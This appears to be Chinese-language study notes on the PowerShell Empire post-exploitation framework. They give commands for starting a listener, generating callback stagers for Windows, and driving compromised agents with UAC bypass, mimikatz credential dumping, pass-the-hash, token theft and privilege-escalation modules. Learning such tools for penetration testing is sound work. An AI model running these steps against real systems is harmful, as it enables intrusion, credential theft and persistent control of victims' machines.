empire基操

基操

可以用tab补全查看指令

uselistener 使用监听器

usemodule 使用模块

usestager 使用stager

main 回到主界面

back 返回上一级

生成监听器:

image-20210718213722672

​ (Empire: listeners) > uselistener http
​ (Empire: listeners/http) > info
​ (Empire: listeners/http) >set Name xxx
​ (Empire: listeners/http) >set Port xxx
​ (Empire: listeners/http) > execute

​ [*] Starting listener ‘parrot’

  • Serving Flask app “http” (lazy loading)
  • Environment: production
    WARNING: This is a development server. Do not use it in a production deployment.
    Use a production WSGI server instead.
  • Debug mode: off
    [+] Listener successfully started!
1
2
3
4
Name --> 监听器的名字
Host --> 监听器的ip
Port --> 监听的端口

生成stager:

![image-20210718213526986](D:\yuchen Study\part three\usestager.png)

​ multi –> linux

​ osx –> mac

​ windows

windows常用:
windows/launcher_bat
windows/launcher_vbs
windows/launcher_lnk
windows/dll
windows/hta
windows/launcher_xml
windows/macro
windows/wmic

1
2
3
4
(Empire: listeners) > usestager windows/launcher_bat
(Empire: stager/windows/launcher_bat) > info
(Empire: stager/windows/launcher_bat) > set Listener parrot
(Empire: stager/windows/launcher_bat) > set OutFile ./1.bat

获取到shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
interact --> 进入到交互模式
kill --> 杀死会话
killdate --> 指定日期杀死会话 killdate [agent/all] 01/01/2016
rename --> 给agents重命名
searchmodule --> 搜索模块

Active agents:
如果agents是绿色的, 代表是存活的;如果是红色, 那就是掉线的状态.

interact中:
bypassuac --> bypassuac提权
jobs --> 查看工作中的任务
upload --> 文件上传
download --> 文件下载
dirlist --> 列出目录列表
injectshellcode --> 利用shellcode进程迁移到meterpreter
mimikatz --> 加载账号密码(hashdump)
psinject --> 利用shellcode进程迁移
pth --> pass the hash
shell + 指令 --> 用cmd执行指令
sysinfo --> 获取系统基本信息
spawn --> 生成新的agent
steal_token --> 令牌盗用

提权

在empire中, 拥有管理员权限, username前面会多一个* ,也就是提权成功了

指令: bypassuac –> bypassuac_eventvwr

searchmodule bypassuac –> ask --> uac提权

在interact中, 可以用run去执行指令

查找本地提权漏洞:

​ powershell/privesc/sherlock

1
2
3
4
5
6
7
8
9
10
11
Title      : User Mode to Ring (KiTrap0D)
MSBulletin : MS10-015
CVEID : 2010-0232
Link : https://www.exploit-db.com/exploits/11199/
VulnStatus : Not Vulnerable

title: 漏洞名称
MSBulletin: ms漏洞编号
CVEID: cve漏洞编号
Link: exp
VulnStatus: 漏洞状态

privesc/getsystem* –> 相当于msf中的getsystem